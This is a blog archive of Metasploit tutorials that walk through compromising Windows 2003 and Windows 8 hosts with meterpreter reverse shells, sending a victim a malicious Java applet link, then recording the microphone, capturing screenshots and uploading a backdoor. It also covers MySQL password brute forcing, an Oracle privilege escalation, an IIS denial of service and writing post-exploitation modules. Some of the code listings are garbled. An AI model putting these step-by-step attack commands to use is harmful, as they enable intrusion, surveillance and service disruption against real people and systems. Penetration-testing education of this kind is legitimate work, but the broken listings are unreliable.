Category Archives: Metasploit


How to pentest Remote PC (Windows 2003 server) with Metasploits - blackMORE Ops

This is a a detailed step by step guide on How to pentest Remote PC (Windows 2003 server) with Metasploits. I’ve used BackTrack 5 and Windows 2003 server in a virtual environment. The ease of pentesting is scary and readers, sysadmins are advised to update their Windows 2003 server to the latest patch/service pack and use additional antivirus, firewalls to protect them from similar situation. The author takes no responsibility on how this tutorial is being used by readers and this is for educational purpose only.


Metasploit is simple to use and is designed with ease-of-use in mind to aid Penetration Testers.
I will be taking you through this demo in BackTrack 5 R3, so go ahead and download that if you don’t already have it:

The reason for using BackTrack 5 R3 is because it has the correct Ruby Libraries.

Metasploit framework has three work environments,

  1. The msfconsole,
  2. The msfcli interface and
  3. The msfweb interface.

However, the primary and the most preferred work area is the‘msfconsole’. It is an efficient command-line interface that has its own command set and environment system.
Metasploit quick guide

Before executing your exploit, it is useful to understand what some Metasploit commands do. Below are some of the commands that you will use most. Graphical explanation of their outputs would be given as and when we use them while exploiting some boxes in later part of the article.

  1. search : Typing in the command search along with the keyword lists out the various possible exploits that have that keyword pattern.
  2. show exploits : Typing in the command show exploits‘ lists out the currently available exploits. There are remote exploits for various platforms and applications including Windows, Linux, IIS, Apache, and so on, which help to test the flexibility and understand the working of Metasploit.
  3. show payloads : With the same ‘show‘ command, we can also list the payloads available. We can use a ‘show payloads’ to list the payloads.
  4. show options : Typing in the command ‘show options‘ will show you options that you have set and possibly ones that you might have forgotten to set. Each exploit and payload comes with its own options that you can set.
  5. info : If you want specific information on an exploit or payload, you are able to use the ‘info’ command. Let’s say we want to get complete info of the payload ‘winbind’. We can use ‘info payload winbind‘.
  6. use : This command tells Metasploit to use the exploit with the specified name
  7. set RHOST : This command will instruct Metasploit to target the specified remote host.
  8. set RPORT : This command sets the port that Metasploit will connect to on the remote host.
  9. set PAYLOAD : This command sets the payload that is used to a generic payload that will give you a shell when a service is exploited.
  10. set LPORT : This command sets the port number that the payload will open on the server when an exploit is exploited. It is important that this port number be a port that can be opened on the server ( is not in use by another service and not reserved for administrative use), so set it to a random 4 digit number greater than 1024, and you should be fine. You’ll have to change the number each time you successfully exploit a service as well.
  11. exploit : Actually exploits the service. Another version of exploit,rexploit reloads your exploit code and then executes the exploit. This allows you to try minor changes to your exploit code without restarting the console
  12. help : The ‘help’ command will give you basic information of all the commands that are not listed out here.

Now that you are ready with all the basic commands you need to launch your exploit. Let’s choose a couple of scenarios to get control of a remotely connected machine.

Lab Setup:

Victim Machine
OS: Microsoft Windows Server 2003

Attacker (Our) Machine
OS: BackTrack 5 R3
Kernel version: Linux bt 2.6.38 #1 SMP Thu Mar 17 20:52:18 EDT 2011 i686 GNU/Linux
Metasploit Version: Built in version of metasploit 3.8.0-dev


The only information provided to us about the remote server is that it is a Windows 2003 Server and the Objective is to gain shell access of this remote server.

Detailed Steps

Step 1 – Scan with nmap for open ports

Perform an nmap scan of the remote server
The output of the nmap scan shows us a range of ports open which can be seen below in Figure 1.

Step 1 – Scan with nmap for open ports - blackMORE Ops

Figure 1

We notice that there is port 135 open. Thus we can look for scripts in Metasploit to exploit and gain shell access if this server is vulnerable.

Step 2 – Open msfconsole

In your copy of BackTrack, go to:
Application > BackTrack > Exploitation Tools > Network Exploitation Tools > Metasploit Framework > msfconsole

Step 2 – Open msfconsole - blackMORE Ops

Figure 2

During the initialization of msfconsole, standard checks are performed. If everything works out fine we will see the display as shown in Figure 3.

Step 2 – Open msfconsole-2 - blackMORE Ops

Figure 3

Step 3 – Search RPC exploit in Metasploit

Now, we know that port 135 is open so, we search for a related RPC exploit in Metasploit.
To list out all the exploits supported by Metasploit we use the “show exploits” command. This exploit lists out all the currently available exploits and a small portion of it is shown below in Figure 4.

Step 3 – Search RPC exploit in Metasploit - blackMORE Ops

Figure 4

As you may have noticed, the default installation of the Metasploit Framework 3.8.0-dev comes with 696 exploits and 224 payloads, which is quite an impressive stockpile thus finding a specific exploit from this huge list would be a real tedious task. So, we use a better option. You can either visit the link another alternative would be to use the “search” command in Metasploit to search for related exploits for RPC.
In msfconsole type “search dcerpc” to search all the exploits related todcerpc keyword as that exploit can be used to gain access to the server with a vulnerable port 135. A list of all the related exploits would be presented on the msfconsole window and this is shown below in Figure 5.

Step 3 – Search RPC exploit in Metasploit-2 - blackMORE Ops

Figure 5

Step 4 – Gather info about target exploit

Now that you have the list of rpc exploits in front of you, we would need more information about the exploit before we actually use it. To get more information regarding the exploit you can use the command “info exploit/windows/dcerpc/ms03_026_dcom” which provides information such as available targets, exploit requirements, details of vulnerability itself, and even references where you can find more information. This is shown in Figure 6.

Step 4 – Gather info about target exploit - blackMORE Ops

Figure 6

Step 5 – Activate exploit

The command “use” activates the exploit environment for the exploit. In our case we would use the command “use exploit/windows/dcerpc/ms03_026_dcom” to activate our exploit.

Step 5 – Activate exploit - blackMORE Ops

Figure 7

From the above figure it is noticed that, after the use of the exploit “exploit/windows/dcerpc/ms03_026_dcom” the prompt changes from “msf>” to “msf exploit(ms03_026_dcom) >” which symbolizes that we have entered a temporary environment of that exploit.

Step 6 – Configure exploit

Now, we need to configure the exploit as per the need of the current scenario. The “show options” command displays the various parameters which are required for the exploit to be launched properly. In our case, the RPORT is already set to 135 and the only option to be set is RHOST which can be set using the “set RHOST” command.
We enter the command “set RHOST” and we see that the RHOST is set to

Step 6 – Configure exploit - blackMORE Ops

Figure 8

Step 7 – Set payload for exploit

The only step remaining now before we launch the exploit is setting the payload for the exploit. We can view all the available payloads using the “show payloads” command.
As shown in the below figure, “show payloads” command will list all payloads that are compatible with the selected exploit.

Step 7 – Set payload for exploit - blackMORE Ops

Figure 9

For our case, we are using the reverse tcp meterpreter which can be set using the command, “set PAYLOAD windows/meterpreter/reverse_tcp” which spawns a shell if the remote server is successfully exploited. Now again you must view the available options using “show options” to make sure all the compulsory sections are properly filled so that the exploit is launched properly

Step 7 – Set payload for exploit-2 - blackMORE Ops

Figure 10

We notice that the LHOST for out payload is not set, so we set it toout local IP ie. using the command “set LHOST

Step 8 – Launch exploit and establish connection

Now that everything is ready and the exploit has been configured properly it’s time to launch the exploit.

You can use the “check” command to check whether the victim machine is vulnerable to the exploit or not. This option is not present for all the exploits but can be a real good support system before you actually exploit the remote server to make sure the remote server is not patched against the exploit you are trying against it.

In out case as shown in the Figure below, our selected exploit does not support the check option.

Step 8 – Launch exploit and establish connection - blackMORE Ops

Figure 11

The “exploit” command actually launches the attack, doing whatever it needs to do to have the payload executed on the remote system.

Step 8 – Launch exploit and establish connection-2 - blackMORE Ops

Figure 12

The above figure shows that the exploit was successfully executed against the remote machine due to the vulnerable port 135.

This is indicated by change in prompt to “meterpreter >“.

Step 9 – Perform an action on pentested server

Now that a reverse connection has been setup between the victim and our machine, we have complete control of the server.

We can use the help command to see which all commands can be used by us on the remote server to perform the related actions as displayed in the below Figure.

Below are the results of some of the meterpreter commands.

Step 9 – Perform an action on pentested server - blackMORE Ops

Figure 13

Step 9 – Perform an action on pentested server-2 - blackMORE Ops


Add new exploits to Metasploit from Exploit-db

All this timeAll this time you were just using mainstream exploits which were famous but old. They worked well, but only with old unpatched operating systems, not the updated ones. Now it’s time to move on to the next step. Our poor experience against Windows 8 and Java 7u60 left us shattered, and we realized that fully patched and updated machines with strong antivirus and firewall can be pretty  hard to break into. Now we will move into the world of real pentesting, and the first step would be introduction to exploit-db.


As usual, a few official words from the developers before I express my personal views.

The Exploit Database is the ultimate archive of public exploits and corresponding vulnerable software, developed for use by penetration testers and vulnerability researchers. Its aim is to serve as the most comprehensive collection of exploits gathered through direct submissions, mailing lists, and other public sources, and present them in a freely-available and easy-to-navigate database. The Exploit Database is a repository for exploits and proof-of-concepts rather than advisories, making it a valuable resource for those who need actionable data right away. (offensive security)

Some more

The Exploit Database is a CVE-Compatible Database and (where applicable) CVE numbers are assigned to the individual exploit entries in the database. The public database archive does not contain the mapped CVE numbers, but we make them available to our partnering organizations, making links to The Exploit Database entries available within their products.
As many exploit developers lament, it is frequently more difficult to locate a vulnerable application than it is to take a public proof of concept and change it into a working exploit. For this reason, The Exploit Database also hosts the vulnerable application versions whenever possible.
In addition, the team of volunteers that maintain the site also make every effort to verify the submitted exploits and a visual indicator is provided whether or not a successful verification was performed. (Offensive Security)

Now, what exploit db really is, is nothing more than a database where the pentestors who write an exploit for a vulnerability upload the source code of the exploit of other pentestors too see. It is maintained by Offensive Security (the force behind Backtrack, Kali, Metasploit Unleashed). The site itself is pretty easy to navigate, and you can find all sorts of exploits there. Just finding an exploit, however, is not enough, as you need to add it to Metasploit in order to use it. 

Adobe Flash Player Shader Buffer Overflow

This module exploits a buffer overflow vulnerability in Adobe Flash Player. The vulnerability occurs in the flash.Display.Shader class, when setting specially crafted data as its bytecode, as exploited in the wild in April 2014. This module has been tested successfully on IE 6 to IE 11 with Flash 11, Flash 12 and Flash 13 over Windows XP SP3, Windows 7 SP1 and Windows 8. (rapid7)

Now the site suggest that the exploit can be found here.


But using the command

use exploit/windows/browser/adobe_flash_pixel_bender_bof

shows that the exploit is not in Metasploit yet (chances are good it’s there if you update metasploit regularly or if you are reading this tutorial a long time after it was written. Either ways, the method will not differ even if the exploit is already there, so don’t worry. Also you can use a different exploit as per your liking, and just replace the name wherever you see it being used in commands)

Now, there are two alternates. First, update the metasploit framework using 



This will update the framework with new modules.

The second alternate the to download the exploit from exploit-db, then put it in the ~/.msf4/modules/exploit/<your_folder> directory. Any exploit put here will be detected my Metasploit when it starts. It will show up when you type use /exploit/your_folder/exploit_name. An important point here is while the <your_folder is arbitrary  and can be set to any value, it is recommended to use a proper directory structure. For example, this exploit should be placed in~/.msf4/modules/exploit/windows/browser/ directory .Also, it is mandatory to place exploits in a subdirectory of ~/.msf4/modules/exploit/ or you won’t be able to use it. For newbies in Linux, here is a detailed step by step guide.

Get the exploit

For examples sake, we’ll use the adobe shader exploit from Click on the Save icon to download the exploit. Save it on you Kali Desktop.

.msf4 directory method

Now if you are not well versed with linux, you will need help with creating the directory and placing files there. Although I’m guiding you how to do it, you should be proficient in linux usage and should be able to do the basic stuff like this atleast. So, you can either use the command to line create the directories or do it using the GUI.

Command line method

First, say hi to mkdir

mkdir –help
Usage: mkdir [OPTION]… DIRECTORY…
Create the DIRECTORY(ies), if they do not already exist.

Mandatory arguments to long options are mandatory for short options too.
  -m, –mode=MODE   set file mode (as in chmod), not a=rwx – umask
  -p, –parents     no error if existing, make parent directories as needed
  -v, –verbose     print a message for each created directory
  -Z, –context=CTX  set the SELinux security context of each created
                      directory to CTX
      –help     display this help and exit
      –version  output version information and exit

First we’ll move to the already existent directory using (you need to be in root directory for this to work. Type just cd if unsure, it will automatically take you to root directory)root@kali:~# cd .msf4/modules/    
To see what the directory has, execute ls. It will return nothing as the directory is empty.

root@kali:~/.msf4/modules# ls
Now we’ll use mkdir to create what we need.
root@kali:~/.msf4/modules# mkdir exploits
root@kali:~/.msf4/modules# cd exploits
root@kali:~/.msf4/modules/exploits# mkdir windows        
root@kali:~/.msf4/modules/exploits# cd windows
root@kali:~/.msf4/modules/exploits/windows# mkdir browser
root@kali:~/.msf4/modules/exploits/windows# cp      
If you read the mkdir help thing, you might have noticed the -p option. It makes everything much easier. Everything above can be achieved with something as simple as
root@kali:~# mkdir -p ~/.msf4/modules/exploits/windows/browser
Now meet cp
root@kali:~/.msf4/modules/exploits/windows# cp –help
Usage: cp [OPTION]… [-T] SOURCE DEST
Copy SOURCE to DEST, or multiple SOURCE(s) to DIRECTORY.
Assume you have adobe_flash_pixel_bender_bof.rb file on your desktop. Then use the following commands.
root@kali:~/Desktop# cp adobe_flash_pixel_bender_bof.rb ~/.msf4/modules/exploits/windows
root@kali:~# ls 
Desktop  app.apk
root@kali:~# cd Desktop
root@kali:~/Desktop# cp adobe_flash_pixel_bender_bof.rb ~/.msf4/modules/exploits/windows/browser
Now check for yourself
root@kali:~# cd ~/.msf4/modules/exploits/windows/browser
root@kali:~/.msf4/modules/exploits/windows/browser# ls

GUI Method

Go to computer -> Filesystem->Home. Now you won’t see .msf4 there, because the . prefix is for hidden files. So go to view and select show hidden items. Now it will be visible.

Now the rest is going to be a piece of cake. Copy the exploit from desktop, and create the directories by using the easy peasy right click -> New folder method. After that just paste the file where it needs to be. You’ll be done. Now start msfconsole again or type reload_all to reload the module. This will add the module to metasploit and you can use it as you normally would.

How To Hack Windows 8 With Metasploit

How To Exploit /  Hack Windows 8 With Metasploit

microsoft-237843_640Allot of you want to Hack Windows 8

In this article we’re going to learn how to exploit (Windows 8 Preview Build 8400) with client-side attack technique, we’ll get meterpreter session on windows 8 machine. For those who don’t know what is metasploit project.

The Metasploit Project is a computer security project which provides information about security vulnerabilities and aids in penetration testing and IDS signature development. Its most well-known sub-project is the open-source Metasploit Framework, a tool for developing and executing exploit code against a remote target machine. Other important sub-projects include the Opcode Database, shell-code archive, and security research. The Metasploit Project is also well known for anti-forensic and evasion tools, some of which are built into the Metasploit Framework. (Wikipedia)

In this article we’re going to work with Metsaploit the console presented in the first graph.


Figure 1. Metasploit Console

How to prepare your labs ?

First You need Backtrack 5 with metasploit or you can download metasploit project for your system from link below: Secondly, you need “windows 8 preview Build 8400”


Figure 2. MSFGUI

Now ready For exploiting ??

1 – first, open the terminal and type “msfconsole“


I typed – sudo su – to take root privilage first because I’m not working on backtrack if you’re on backtack just type msfconsole in terminal as shown in Figure 3


Figure 3. Msf console terminal

Wait for a while and it will be opened, you’ll see a command line starts with MSF> – as shown in the Figure 4.


Figure 4. Msf command line

2 – Secondly, I’ll use an exploit called “Java_signed_applet” which targets JAVA vulnerable versions and can affect a huge amount of computers.

We’ll type in Msf > search java signed, as shown in Figure 5.


Figure 5. Search for java signed applet

We’ll use the first one exploit/multi/browser/java_signed_applet to use any exploit in metasploit project type “use” before exploit name. As shown in Figure 6.


Figure 6. Use exploit


To get more info about the exploit you can type “info” and you’ll get more information about this exploit – as shown in Figure 7. Here’s the exploit’s description and I think that now we understand how this exploit works (Listing 1). We need to know what’s option for this exploit so we’ll type in “show options” it’s included also in info, as shown in Figure 8.


Figure 7. Exploit information

Listing 1. Exploit Description


This exploit dynamically creates a .jar file via the

Msf::Exploit::Java mixin,then signs the it. The resulting signed

applet is presented to the victim via a web page with an applet tag.

The victim’s JVM will pop a dialog asking if they trust the signed

applet. On older versions the dialog will display the value of

CERTCN in the “Publisher” line. Newer JVMs display “UNKNOWN” when

the signature is not trusted (i.e., it’s not signed by a trusted

CA). The SigningCert option allows you to provide a trusted code

signing cert, the values in which will override CERTCN. If

SigningCert is not given, a randomly generated selfsigned cert will

be used. Either way, once the user clicks “run”, the applet executes


with full user permissions.


Figure 8. Show options

3 – Next, we’ll set the SRVHOST which will be the attacker IP. We’ll type “ifconfig” in terminal to get internal IP address, as shown in Figure 9 – it’s


Figure 9. ifconfig

• We’ll type in “set SRVHOST”

• We’ll set the target which is (1 – Windows x86) because we’re going to attack windows machine so type in “set target 1”

• We’ll set the LHOST which is Attacker IP and, because it’s inside an Internal network, we’ll set it with our local IP (


Figure 10. set SRVHOST


Figure 11. Set target


Figure 12. Set LHOST


If you’d like to attack outside your local network, you need to set your public IP address in LHOST, and enable DMZ on attacker machine or enable port forwarding.

• Now you need to know which payload you’ll use after attacking machine and the most familiar one is meterpreter, so we’ll set the payload (windows/meterpreter/reverse_tcp), as shown in Figure 13.


Figure 13. Set Payload


If you’d like to use another payload you can type in “show payloads” and choose your preferred payload.

• We’ll specify the URI which will be sent to victim machine. I want to make it on the main directory so I’ll type in “set URIPATH /“ as shown in Figure 14.


Figure 14. Set URIPATH


If you need to specify another URI name you can do it easily by typing in “set URIPATH name” and you can change “name” to your preferred word.

• We’ll type in “exploit” to run it, and it will give us the URI which is our IP address with your preferred URIPATH – Figure 15.


Figure 15. Exploit

Now, We need to send the URL to a victim machine so we’ll open it with our windows8 machine.

• Finally, a message will appear on victim machine after opening URL. If he/she clicked on Run, a meterpreter sessions will be opened in attacker PC, as shown in Figure 16.


Figure 16. Meterpreter

We Can do some commands with victim PC such as capturing screen or recording mic.

First, here’s the first command “sysinfo” – which tell you some information about the system (Figure 17).


Figure 17. System information

We can also see what the processes run at the time in victim machine with “ps” command (Figure 18).


Figure 18. Processes19).


Figure 19. Mic record

And, if you need to take a screen-shot of victim’s screen you can do it easily by “screenshot” command (Figure 20).


Figure 20. Screen-shot

Finally, I tried to upload payload and execute it in victim machine, so, if you want to keep the victim longer with you then you should upload another backdoor to keep in touch with them (Figure 21).


Figure 21. Upload executable file

If you need any help with meterpreter just type “help” and all commands will come up and show in your screen (Figure 22).


Figure 22. Help





How to Work with Metasploit Auxiliary Modules


The Metasploit framework is based on a modular architecture. This means that all the exploits, payloads, encoders etc. are present in the form of modules. The biggest advantage of a modular architecture is that it is easier to extend the functionality of the framework based on requirement.

Any programmer can develop his own module and port it easily into the framework. Even though modules are not very much talked about while working with metasploit, but they form the crux of the framework so it is essential to have a deep understanding of it.

In this tutorial we will particularly focus on /framework3/modules directory which contains a complete list of useful modules which can ease up our task of penetration testing. Later in the chapter we will also analyse some of the existing modules and finally conclude the discussion by learning how to develop our own modules for metasploit. So let us start our experiments with modules.

Working with Scanner Modules

Let us begin our experimentation with scanner modules. We will start with scanning modules which ships with the framework. Even though nmap is a powerful scanning tool but still there can be situations where we have to perform a specific type of scan like scanning for presence of mysql database etc.

Metasploit provides us a complete list of such useful scanners. Let us move ahead and practically implement some of them. To find the list of available scanners we can browse to /framework3/modules/auxiliary/scanner.

You can find a collection of more than 35 useful scan modules which can be used under various penetration testing scenarios. Let us start with a basic HTTP scanner. You will see that there are lots of different HTTP scan options available. We will discuss few of them here.

Consider the dir_scanner script. This will scan a single host or a complete range of network to look for interesting directory listings that can be further explored to gather information.

To start using an auxiliary module, we will have to perform following steps in our msfconsole:

msf > use auxiliary/scanner/http/dir_scanner

msf auxiliary(dir_scanner) > show options

Module options:

The show options command will list all the available optional parameters that you can pass along with the scanner module. The most important one is the RHOSTS parameter which will help us in targeting either a single user or a range of hosts.

Let us discuss a specific scanner module involving some extra inputs. The mysql_login scanner module is a brute force module which scans for the availability of Mysql server on the target and tries to login to the database by brute force attacking it.

msf > use auxiliary/scanner/mysql/mysql_login

msf auxiliary(mysql_login) > show options

Module options (auxiliary/scanner/mysql/mysql_login): Listing 1.

Listing 1. Module options

Name Current Setting Required Description

—- ————— ——– ———–

BLANK_PASSWORDS true yes Try blank pas..

BRUTEFORCE_SPEED 5 yes How fast to..

PASSWORD no A specific password

PASS_FILE no File containing..

RHOSTS yes The target address.

RPORT 3306 yes The target port..

STOP_ON_SUCCESS false yes Stop guessing

THREADS 1 yes The number of..

USERNAME no A specific user..

USERPASS_FILE no File containing..

USER_FILE no File containing..

VERBOSE true yes Whether to print..

AS you can see there are lots of different parameters that we can pass to this module. The better we leverage the powers of a module, the greater are our chances of successful penetration testing. We can provide a complete list of username and password which the module can use and try on the target machine. Let us provide this information to the module.

msf auxiliary(mysql_login) > set USER_FILE /users.txt

USER_FILE => /users.txt

msf auxiliary(mysql_login) > set PASS_FILE /pass.txt

PASS_FILE => /pass.txt

Now we are ready to brute force. The last step will be selecting the target and provide the run command to execute the module (Listing 2).

Listing 2. Running a command to execute the module

msf auxiliary(mysql_login) > set RHOSTS


msf auxiliary(mysql_login) > run

[*] remote MySQL version 5.0.51a

[*] Trying username:’administrator’ with password:’’

The output shows that the module starts the process by first looking for the presence of mysql server on the target. Once it has figured out, it starts trying for the combinations of usernames and password provided to it through external text file. This is also one of the most widely used modular operations of metasploit in current scenario. A lot of automated brute force modules have been developed to break weak passwords.

Working With Admin Auxiliary modules

Moving ahead with our module experiment, we will learn about some admin modules which can be really handy during penetration testing. The admin modules can serve different purposes like it can look for an admin panel, or it can try for admin login etc. It depends upon the functionality of the module. Here we will look at a simple admin auxiliary module called mysql_enum module.

The mysql_enum module is a special utility module for mysql database servers. This module provides simple enumeration of mysql databse server provided proper credentials are provided to connect remotely. Let us understand it in detail by using the module. We will start with launching the msfconsole and providing the path for auxiliary module.

msf > use auxiliary/admin/mysql/mysql_enum

msf auxiliary(mysql_enum) > show options

Module options (auxiliary/admin/mysql/mysql_enum):

Name Current Setting Required Description

—- ————– ——- ———–

PASSWORD no The password for the..

RHOST yes The target address

RPORT 3306 yes The target port

USERNAME no The username to..

As you can see that the modules accepts password, username and RHOST as parameters. This can help the module in first searching for the existence of a mysql database and then apply the credentials to try for remote login. There are several similar modules available for other services like MSSQL, Apache etc. The working process is similar for most of the modules. Remember to use the show options command in order to make sure that you are passing the required parameters to the module.

SQL Injection and DOS attack modules

Metasploit is friendly for both penetration testers as well as hackers. The reason for this is that a penetration tester has to think from hacker’s perspective in order to secure the network. The SQL injection and DOS modules help penetration testers in attacking their own services in order to figure out if they are susceptible to such attacks. So let’s discuss some of these modules in detail. The SQL injection modules use a known vulnerability in the database type to exploit it and provide unauthorized access. The modules can be found in modules/auxiliary/sqli/oracle.

Let us analyse an oracle vulnerability called Oracle DBMS_METADATA XML vulnerability. This vulnerability will escalate the privilege from DB_USER to DBA (Database Administrator). We will be using the dbms_metadata_get_xml module.

msf auxiliary(dbms_metadata_get_xml) > show options

Module options (auxiliary/sqli/oracle/dbms_metadata_get_xml):

Name Current Setting Required Description

—- ———— ——– ———–

DBPASS TIGER yes The password to..

DBUSER SCOTT yes The username to..

RHOST yes The Oracle host.

RPORT 1521 yes The TNS port.

SID ORCL yes The sid to authenticate.

SQL GRANT DBA to SCOTT no SQL to execute.

The module requests for similar parameters which we have seen so far. The database first checks to login by using the default login credentials ie, “SCOTT” and “TIGER” as the default username and password respectively. This enables a DB_User level login. Once the modules gains login as a database user, it then executes the exploit to escalate the privilege to the database administrator. Let us execute the module as a test run on our target.

msf auxiliary(dbms_metadata_get_xml) > set RHOST

msf auxiliary(dbms_metadata_get_xml) > set SQL YES

msf auxiliary(dbms_metadata_get_xml) > run

On successful execution of module, the user privilege will be escalated from DB_USER to DB_ADMINISTRATOR.

The next module we will cover is related to Denial Of Service (DOS) attack. We will analyze a simple IIS 6.0 vulnerability which allows the attacker to crash the server by sending a POST request containing more than 40000 request parameters. We will analyze the vulnerability shortly. This module has been tested on an un-patched Windows 2003 server running IIS 6.0. The module we will be using is ms10_065_ii6_asp_dos.

msf > use auxiliary/dos/windows/http/ms10_065_ii6_asp_dos

msf auxiliary(ms10_065_ii6_asp_dos) > show options

Module options (auxiliary/dos/windows/http/ms10_065_ii6_asp_dos): Listing 3.

Listing 3. Module options

Name Current Setting Required Description

—- ————— ——– ———–

RHOST yes The target address

RPORT 80 yes The target port

URI /page.asp yes URI to request

VHOST no The virtual host name to..

msf auxiliary(ms10_065_ii6_asp_dos) > set RHOST


msf auxiliary(ms10_065_ii6_asp_dos) > run

[*] Attacking

Once the module is executed using the run command, it will start attacking the target IIS server by sending HTTP request on port 80 with URI as page.asp. Successful execution of the module will lead to complete denial of service of the IIS server.

Post Exploitation Modules

We also have a separate dedicated list of modules that can enhance our post-exploitation penetration testing experience. Since they are post exploitation modules so we will need an active session with our target. Here we are using an unpatched Windows 7 machine as our target with an active meterpreter session.

[raw] [/raw]

You can locate the post modules in modules/post/windows/gather. Let us start with a simple enum_logged_on_users module. This post module will list the current logged in users in the windows machine.

We will execute the module through our active meterpreter session. Also keep in mind to escalate the privilege using getsystem command in order to avoid any errors during the execution of module (Listing 4).

Listing 4. The Osage of getsystem command

meterpreter > getsystem

got system (via technique 4).

meterpreter > run post/windows/gather/enum_logged_on_users

[*] Running against session 1

Current Logged Users


SID User

— —-

S15212350281388457184790407941598 DARKLORDPCDARKLORD

Recently Logged Users


SID Profile Path

— ————

S1518 %systemroot%system32configsystemprofile

S1519 C:WindowsServiceProfilesLocalService

S1520 C:WindowsServiceProfilesNetworkService

S152123502 C:UsersDARKLORD

S1521235 C:UsersWinuser

Successful execution of module shows us two tables. The first table reflects the currently logged on user and the second table reflects the recently logged on user. Follow the correct path while executing the modules. We have used the run command to execute the modules as they are all in form of ruby script so meterpreter can easily identify it.

Let us take one more example. There is an interesting post module that captures a screenshot of the target desktop. This module can be useful when we have to know whether there is any active user or not. The module we will use is screen_spy.rb.

meterpreter > run post/windows/gather/screen_spy

[*] Migrating to explorer.exe pid: 1104

[*] Migration successful

[*] Capturing 60 screenshots with a delay of 5 seconds

You might have noticed how easy and useful post modules can be. In the coming future, the developers of metasploit will be focusing more on post modules rather than meterpreter as it greatly enhances the functionality of penetration testing. So if you are looking to contribute to the metasploit community then you can work on post modules.

Basics of Module Building

So far we have seen the utility of modules and the power that they can add to the framework. In order to master the framework it is very essential to understand the working and building of modules. This will help us in quickly extending the framework according to our needs. In the next few recipes we will see how we can use ruby scripting to build our own modules and import them into the framework. To start building our own module we will need basic knowledge of ruby scripting. In this discussion we will see how we can use ruby to start building modules for the framework. The process is very much similar to meterpreter scripting. The difference lies in using a set of pre-defined scripting lines that will be required in order to make the framework understand the requirements and nature of module. Let us start with some of the basics of module building. In order to make our module readable for the framework we will have to import msf libraries.

require ‘msf/core’

This is the first and foremost line of every script. This line tells that the module will include all the dependencies and functionalities of the metasploit framework.

class Metasploit3 < Msf::Auxiliary

This line defines the class which inherits the properties of the Auxiliary family. The Auxiliary module can import several functionalities like scanning, opening connections, using databse etc.

include Msf::

The include statement can be used to include a particular functionality of the framework into our own module. For example, if we are building a scanner module then we can include as:

Include Msf::Exploit::Remote::TCP

This line will include the functionality of a remote TCP scan in the module. This line will pull out the main scan module libraries from the metasploit library (Listing 5).

Listing 5. Pulling out the main scan module from the metasploit library

def initialize


Name’ => ‘TCP Port Scanner’,

Version’ => ‘$Revision$’,

Description’ => ‘Enumerate open TCP services’,

Author’ => [ darklord ],

License’ => MSF_LICENSE


The next few lines of script give us an introduction about the module like its name, version, author, description etc (Listing 6). The next few lines of the script are used to initialize values for the script. The options which are marked as ‘true’ are those which are essentially required for the modules whereas the options marked as false are optional. These values can be passed/changed during the execution of a module.

Listing 6. Module’s details


[‘PORTS’, [true, “Ports to scan (e.g. 25,80,110-900)”, “1-10000”]),‘TIMEOUT’, [true, “The socket connect timeout in milliseconds”, 1000]),‘CONCURRENCY’, [true, “The number of concurrent ports to check per host”, 10]), self.class)


The best way to learn about modules is by mastering ruby scripting and by analyzing existing modules. Let us analyse a simple module here in order to dive deeper into module building. We will be analyzing ftp anonymous access module. You can find the main script at the following location: pentest/exploits/framework3/modules/auxiliary/scanner/ftp/anonymous.rb.

Let us start with the analysis of the main script body to understand how it works.

def run_host(target_host)


res = connect_login(true, false)

banner.strip! if banner

dir = Rex::Text.rand_text_alpha(8)

This function is used to begin the connection. The res variable holds the Boolean value true or false. The connect_login function is a specific function used by the module to establish a connection with the remote host. Depending upon the success or failure of connection, the boolean value is stored in res (Listing 7).

Listing 7. Storing of the boolean value in res

if res

write_check = send_cmd( [‘MKD’, dir] , true)

if (write_check and write_check =~ /^2/)

send_cmd( [‘RMD’, dir] , true)

print_status(“#{target_host}:#{rport} Anonymous

access_type = “rw”


print_status(“#{target_host}:#{rport} Anonymous


Once the connection has been setup, the module tries to check if the anonymous user has read/write privilege or not. The write_check variable checks if a write operation is possible or not. Then it is checked weather the operation succeeded or not. Depending upon the status the privilege message is printed on the screen. If the write operation fails then the status is printed as ‘ro’ or read-only (Listing 8).

Listing 8. The result of the operation’s failure


:host => target_host,

:port => rport,

:sname => ‘ftp’,

:user => datastore[‘FTPUSER’],

:pass => datastore[‘FTPPASS’],

:type => “password_#{access_type}”,

:active => true



The next function is used to report authorization info. It reflects important parameters like host, port, user, pass etc. These are the values that appear to us when we use the show options command so these values are user dependent.

This was a quick demonstration of how a simple module functions within the framework. You can change the existing scripts accordingly to meet your needs. This makes the platform extremely portable to development. As I have said it, the best way to learn more about module building is by analyzing the existing scripts.

Building your own Post Exploitation module

Now we have covered up enough background about building modules. Here we will see an example of how we can build our own module and add it into the framework. Building modules can be very handy as it will give us the power of extending the framework depending on our need.

Let us build a small post exploitation module that will enumerate all the installed applications on the target machine. Since it is a post exploitation module, we will require a compromised target in order to execute the module. To start with building the module we will first import the framework libraries and include required dependencies (Listing 9).

Listing 9. Importing the Framework libraries

require ‘msf/core’

require ‘rex’

require ‘msf/core/post/windows/registry’

class Metasploit3 < Msf::Post

include Msf::Post::Windows::Registry

def initialize(info={})

super( update_info( info,

Name’ => ‘Windows Gather Installed Application Enumeration’,

Description’ => %q{ This module will enumerate all installed applications },

License’ => MSF_LICENSE,

Platform’ => [ ‘windows’ ],

SessionTypes’ => [ ‘meterpreter’ ]



The script starts with including the metasploit core libraries. Then we build up the class that extends the properties of Msf::Post modules.

Next we create the initialize function which is used to initialize and define the module properties and description. This basic structure remains the same in almost all modules. Now our next step will be to create a table that can display our extracted result. We have a special library Rex::Ui::Text which can be used for this task. We will have to define different columns (Listing 10).

Listing 10. Defining different columns

def app_list

tbl =

Header’ => “Installed Applications”,

Indent’ => 1,

Columns’ =>




appkeys = [






apps = []

appkeys.each do |keyx86|

found_keys = registry_enumkeys(keyx86)

if found_keys

found_keys.each do |ak|

apps << keyx86 +”” + ak




The script body starts with building the table and providing different column names. Then a separate array of registry locations is created which will be used to enumerate the application list. The application information is maintained in a separate array named as apps.

Then we start the enumeration process by running a loop that looks into different registry locations stored in appskey array (Listing 11).

Listing 11. The enumeration process

t = []

while(not apps.empty?)

1.upto(16) do

t << framework.threads.spawn(“Module(#{self.refname})”, false, apps.shift) do |k|


dispnm = registry_getvaldata(“#{k}”,”DisplayName”)

dispversion = registry_getvaldata(“#{k}”,”DisplayVersion”)

tbl << [dispnm,dispversion] if dispnm and dispversion




The next lines of script populate the table with different values in respective columns. The script uses in-built function registry_getvaldata which fetches the values and add them to the table (Listing 12).

Listing 12. The functions of the script

results = tbl.to_s

print_line(“n” + results + “n”)

